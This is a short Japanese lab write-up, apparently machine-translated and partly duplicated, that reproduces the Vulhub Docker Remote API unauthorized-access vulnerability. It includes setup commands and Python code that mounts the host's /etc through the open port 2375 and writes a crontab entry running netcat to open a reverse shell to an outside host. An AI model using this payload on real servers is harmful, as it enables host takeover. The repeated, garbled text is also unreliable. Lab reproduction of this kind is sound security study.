Vulnhubを使用して脆弱性を再現-docker daemon apiが脆弱性にアクセスできない
1889 ワード
docker daemon apiが脆弱性にアクセスできない Vulnhub公式再現チュートリアル 脆弱性原理 脆弱性の再現 起動環境 脆弱性の再現 Vulnhub公式再現チュートリアル
https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce/README.zh-cn.md
脆弱性の原理
http://www.loner.fm/drops/#!/drops/1203.新しいポーズのDocker Remote APIは、脆弱性の分析と利用にアクセスできません.
抜け穴を再現する.
環境の起動
https://blog.csdn.net/JiangBuLiu/article/details/93853056アクセスパスは
脆弱性環境の構築と運用:
時間:1分間の環境起動後、2375ポートがリスニングされます.
脆弱性の再現
コンテナを任意に起動し、ホストの
crontabファイルを書き込み、shell:をリバウンドしました
https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce/README.zh-cn.md
脆弱性の原理
http://www.loner.fm/drops/#!/drops/1203.新しいポーズのDocker Remote APIは、脆弱性の分析と利用にアクセスできません.
抜け穴を再現する.
環境の起動
https://blog.csdn.net/JiangBuLiu/article/details/93853056アクセスパスは
cd /root/vulhub/docker/unauthorized-rce
脆弱性環境の構築と運用:
docker-compose build && docker-compose up -d
時間:1分間の環境起動後、2375ポートがリスニングされます.
脆弱性の再現
コンテナを任意に起動し、ホストの
/etc
ディレクトリをコンテナにマウントすると、任意にファイルを読み書きできます.コマンドをcrontabプロファイルに書き込み、リバウンドshellを実行できます.【この命令がどこで実行されるか分からない】import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
crontabファイルを書き込み、shell:をリバウンドしました